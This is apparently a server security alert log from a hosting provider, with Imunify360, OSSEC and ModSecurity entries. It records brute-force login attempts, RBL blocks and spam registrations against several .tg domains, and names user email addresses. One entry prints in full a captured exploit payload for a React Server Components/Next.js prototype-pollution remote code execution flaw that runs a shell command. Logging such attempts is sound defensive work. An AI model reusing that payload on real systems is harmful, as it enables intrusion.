127.0.0.1 - richard.attiogbe@togointerim.net [06/05/2026:18:50:32 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: richard.attiogbe@togointerim.net


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Redeem Your High Grade Reward eropolik.blogspot.mx Hb||Email:pennyledford1973@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:18-51.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.123
country_id: 3175395
description:
Jun  5 18:52:30 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.236.157.212
country_id: 690791
description:
Jun  5 18:52:48 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.236.157.212 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.115.175.26
country_id: 3923057
description:
2026-06-05 19:02:07 H=([0.0.0.0]) [181.115.175.26]:57514 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 80.248.64.198
country_id: 2363686
description:
Jun  5 19:02:39 ns5 sshd[1943708]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=80.248.64.198  user=root


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 23.88.20.41
country_id: 2921044
description:
23.88.20.41 - - [05/Jun/2026:19:05:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000028&pdata=https%253A%252F%252Fucao-uut.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780686343 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:23.88.20.41


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.220.79
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.14||T:APACHE||MV:/wp-json/wp/v2/users/3?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.99
country_id: 690791
description:
Jun  5 19:09:33 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.99
country_id: 690791
description:
Jun  5 19:09:46 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.97.57
country_id: 3469034
description:
Jun  5 19:09:53 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.97.57 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.11.71
country_id: 690791
description:
Jun  5 19:12:40 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.11.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.24.174.59
country_id: 798544
description:
Jun  5 19:11:59 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.24.174.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.253.45.105
country_id: 3469034
description:
Jun  5 19:13:00 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.253.45.105 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.11.71
country_id: 690791
description:
Jun  5 19:12:47 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.11.71 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun  5 19:13:55 ns5 pure-ftpd[1952150]: (?@47.84.199.24) [WARNING] Authentication failed for user [mouss]


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Secure Your Reliable Reward bonotdamvam.blogspot.ro 3W||Email:ibrahimsharif668@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:19-16.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.19.220.30
country_id: 1269750
description:
Jun  5 19:17:40 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.19.220.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.92.36
country_id: 1814991
description:
2026-06-05 19:17:30 dovecot_login authenticator failed for H=([61.186.136.36]) [36.135.92.36]:36220: 535 Incorrect authentication data (set_id=visite@cloud-et-racks.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.220.30
country_id: 1269750
description:
2026-06-05 19:17:42 dovecot_login authenticator failed for H=([182.225.30.195]) [125.19.220.30]:41020: 535 Incorrect authentication data (set_id=visite)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.76.86.130
country_id: 1269750
description:
Jun  5 19:17:20 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.76.86.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.86.130
country_id: 1269750
description:
2026-06-05 19:17:22 dovecot_login authenticator failed for H=([49.124.147.101]) [182.76.86.130]:35950: 535 Incorrect authentication data (set_id=visite@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.135.92.36
country_id: 1814991
description:
Jun  5 19:17:28 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.135.92.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.230.176.152
country_id: 1269750
description:
Jun  5 19:17:29 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.230.176.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.230.176.152
country_id: 1269750
description:
2026-06-05 19:17:31 dovecot_login authenticator failed for H=([72.207.113.126]) [103.230.176.152]:40066: 535 Incorrect authentication data (set_id=i.sy@ucao-uut.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.251.1.231
country_id: 298795
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2021/01/Rapport_Annuel-ARSE-2019.pdf HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 19:19:17 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 19:19:19 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:63156: 535 Incorrect authentication data (set_id=data)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.177.78
country_id: 1269750
description:
2026-06-05 19:20:07 dovecot_login authenticator failed for H=(industrianaval.fla.gvt.net.br) [182.95.177.78]:51266: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.169.212.206
country_id: 1835841
description:
Jun  5 19:20:26 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.169.212.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.149.213.242
country_id: 3469034
description:
2026-06-05 19:20:32 dovecot_login authenticator failed for H=([27.39.128.170]) [200.149.213.242]:41408: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.68.245.7
country_id: 798544
description:
2026-06-05 19:20:34 dovecot_login authenticator failed for H=89-68-245-7.dynamic.play.pl ([67.201.39.9]) [89.68.245.7]:52580: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.177.78
country_id: 1269750
description:
Jun  5 19:20:05 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.177.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.169.212.206
country_id: 1835841
description:
2026-06-05 19:20:28 dovecot_login authenticator failed for H=([46.40.250.98]) [211.169.212.206]:50330: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.149.213.242
country_id: 3469034
description:
Jun  5 19:20:30 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.149.213.242 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-05 19:20:35 +0000] info [cpaneld] 185.213.83.243 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-06-05 19:20:36 dovecot_login authenticator failed for H=([70.166.167.37]) [103.168.241.32]:50543: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.7.114.69
country_id: 6252001
description:
Jun  5 19:20:52 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.7.114.69 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.7.114.69
country_id: 6252001
description:
2026-06-05 19:20:54 dovecot_login authenticator failed for H=ip68-7-114-69.sd.sd.cox.net ([119.201.143.23]) [68.7.114.69]:59859: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.92.61.242
country_id: 1814991
description:
2026-06-05 19:21:54 dovecot_login authenticator failed for H=([222.92.61.242]) [222.92.61.242]:49714: 535 Incorrect authentication data (set_id=support@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.211
country_id: 3469034
description:
Jun  5 19:22:07 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.211 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.146
country_id: 6252001
description:
2026-06-05 19:22:33 dovecot_login authenticator failed for H=syn-035-130-111-146.biz.spectrum.com [35.130.111.146]:37735: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 35.130.111.146
country_id: 6252001
description:
Jun  5 19:22:31 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 35.130.111.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.92.61.242
country_id: 1814991
description:
Jun  5 19:21:52 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.92.61.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.216.81.126
country_id: 49518
description:
Jun  5 19:23:14 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.216.81.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.40.215.162
country_id: 3469034
description:
Jun  5 19:23:15 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.40.215.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-06-05 19:23:16 dovecot_login authenticator failed for H=([182.95.185.158]) [196.216.81.126]:54614: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.174.105.113
country_id: 3469034
description:
2026-06-05 19:23:18 dovecot_login authenticator failed for H=([45.178.227.128]) [177.174.105.113]:52354: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77093094
abuser: 37.181.205.105
country_id: 3175395
domain: wellcity.tg
name:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)

description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\": \"resolved_model\", \"then\": \"$1:__proto__:then\", \"reason\": -1, \"_response\": {\"_formData\": {\"get\": \"$1:constructor:constructor\"}, \"_prefix\": \"var res=process.mainModule.require('child_process').execSync('id').toString();var enc=Buffer.from(res).toString('base64');throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${enc};307;`});\", \"_chunks\": \"$Q2\"}, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\"}||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.40.215.162
country_id: 3469034
description:
2026-06-05 19:23:17 dovecot_login authenticator failed for H=(202-142-151-234.signin.com.pk) [187.40.215.162]:47808: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.174.105.113
country_id: 3469034
description:
Jun  5 19:23:16 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.174.105.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.178.70.3
country_id: 3865483
description:
Jun  5 19:23:22 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.178.70.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.178.70.3
country_id: 3865483
description:
2026-06-05 19:23:24 dovecot_login authenticator failed for H=([196.191.212.226]) [45.178.70.3]:47419: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.160
country_id: 1814991
description:
2026-06-05 19:23:50 dovecot_login authenticator failed for H=([49.124.152.237]) [27.24.141.160]:53570: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.209.191.11
country_id: 2661886
description:
Jun  5 19:24:00 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.209.191.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-06-05 19:24:02 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com ([182.95.148.3]) [82.209.191.11]:36646: 535 Incorrect authentication data (set_id=j.delbegue)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.93.37
country_id: 1814991
description:
2026-06-05 19:24:07 dovecot_login authenticator failed for H=([41.214.10.178]) [36.135.93.37]:51206: 535 Incorrect authentication data (set_id=j.delbegue)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.135.93.37
country_id: 1814991
description:
Jun  5 19:24:05 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.135.93.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.24.141.160
country_id: 1814991
description:
Jun  5 19:23:48 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.24.141.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 19:25:58 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:41098: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.73
country_id: 1269750
description:
2026-06-05 19:26:42 dovecot_login authenticator failed for H=(nsg-corporate-73.234.187.122.airtel.in) [122.187.234.73]:42405: 535 Incorrect authentication data (set_id=it@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.73
country_id: 1269750
description:
2026-06-05 19:27:24 dovecot_login authenticator failed for H=(nsg-corporate-73.234.187.122.airtel.in) [122.187.234.73]:44403: 535 Incorrect authentication data (set_id=it)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.168
country_id: 1269750
description:
Jun  5 19:28:14 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.167.250.45
country_id: 3686110
description:
Jun  5 19:28:32 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.167.250.45 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.168
country_id: 1269750
description:
2026-06-05 19:28:16 dovecot_login authenticator failed for H=(cpc122100-bmly10-2-0-cust102.2-3.cable.virginm.net) [122.187.229.168]:46555: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.167.250.45
country_id: 3686110
description:
2026-06-05 19:28:34 dovecot_login authenticator failed for H=(108-90-216-10.lightspeed.rcsntx.sbcglobal.net) [45.167.250.45]:34902: 535 Incorrect authentication data (set_id=dba.moyenmono@ceni.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.202.80.152
country_id: 1835841
description:
Jun  5 19:28:00 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.202.80.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.202.80.152
country_id: 1835841
description:
2026-06-05 19:28:02 dovecot_login authenticator failed for H=(hn.kd.ny.adsl) [114.202.80.152]:34091: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 19:30:12 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 19:30:14 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:54786: 535 Incorrect authentication data (set_id=monitoring)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.202.96.251
country_id: 3865483
description:
Jun  5 19:30:41 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.202.96.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.202.96.251
country_id: 3865483
description:
Jun  5 19:30:49 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.202.96.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.79.108.51
country_id: 2017370
description:
2026-06-05 19:30:56 dovecot_plain authenticator failed for H=(unpundes) [95.79.108.51]:37127: 535 Incorrect authentication data (set_id=contact@cloud-et-racks.tg)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 19:31:18 ns5 pure-ftpd[1965375]: (?@103.245.236.231) [INFO] New connection from 103.245.236.231


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.235.192.130
country_id: 1835841
description:
Jun  5 19:31:23 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.235.192.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.235.192.130
country_id: 1835841
description:
2026-06-05 19:31:25 dovecot_login authenticator failed for H=([115.178.64.253]) [1.235.192.130]:43085: 535 Incorrect authentication data (set_id=ibrahimadiane.papa@sodigaz.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 19:31:24 ns5 pure-ftpd[1965375]: (?@103.245.236.231) [WARNING] Authentication failed for user [caissederetraites]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.97.17.208
country_id: 1835841
description:
Jun  5 19:32:11 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.97.17.208 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.97.17.208
country_id: 1835841
description:
2026-06-05 19:32:13 dovecot_login authenticator failed for H=([5.76.16.216]) [61.97.17.208]:47156: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.214.9
country_id: 933860
description:
Jun  5 19:33:30 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.214.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.15.149.254
country_id: 3469034
description:
2026-06-05 19:34:22 dovecot_login authenticator failed for H=([125.19.165.242]) [201.15.149.254]:43832: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.15.149.254
country_id: 3469034
description:
Jun  5 19:34:20 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.15.149.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.4.81
country_id: 2300660
description:
Jun  5 19:35:39 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.4.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.4.81
country_id: 2300660
description:
Jun  5 19:35:46 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.4.81 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-05 19:36:31 +0000] info [cpaneld] 185.213.83.243 - administration "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user administration (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.146
country_id: 6252001
description:
2026-06-05 19:36:55 dovecot_login authenticator failed for H=syn-035-130-111-146.biz.spectrum.com [35.130.111.146]:51294: 535 Incorrect authentication data (set_id=hr@togosem.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 102.165.53.105
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:19-37.102.165.53.105||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 154.16.69.250
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:19-37.154.16.69.250||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 35.130.111.146
country_id: 6252001
description:
Jun  5 19:36:53 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 35.130.111.146 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 181.215.16.161
country_id: 290557
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:19-37.181.215.16.161||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.24
country_id: 3175395
description:
Jun  5 19:37:57 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.110.211.146
country_id: 1512440
description:
2026-06-05 19:39:45 H=([37.110.211.146]) [37.110.211.146]:9773 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Win Your Dependable User Funds vamvozmviigr.blogspot.nl ac||Email:marcinek1012@op.pl||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:19-40.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 19:41:52 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 19:41:54 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:61303: 535 Incorrect authentication data (set_id=monitoring)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.144
country_id: 298795
description:
Jun  5 19:42:17 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-06-05 19:43:37 dovecot_login authenticator failed for H=([183.196.144.45]) [187.8.120.90]:40936: 535 Incorrect authentication data (set_id=info@matosshop.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.8.120.90
country_id: 3469034
description:
Jun  5 19:43:35 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.8.120.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.236.211.54
country_id: 2661886
description:
2026-06-05 19:43:54 dovecot_login authenticator failed for H=81-236-211-54-no2550.tbcn.telia.com (syn-024-176-254-053.res.spectrum.com) [81.236.211.54]:57222: 535 Incorrect authentication data (set_id=i.sy@ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.185.227.77
country_id: 3469034
description:
Jun  5 19:44:08 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.185.227.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.207.248.5
country_id: 3469034
description:
2026-06-05 19:44:28 dovecot_login authenticator failed for H=(23-30-11-253-static.hfc.comcastbusiness.net) [177.207.248.5]:59138: 535 Incorrect authentication data (set_id=awa.ouedraogo@sodigaz.tg)


plugin: ossec
rule: 6013
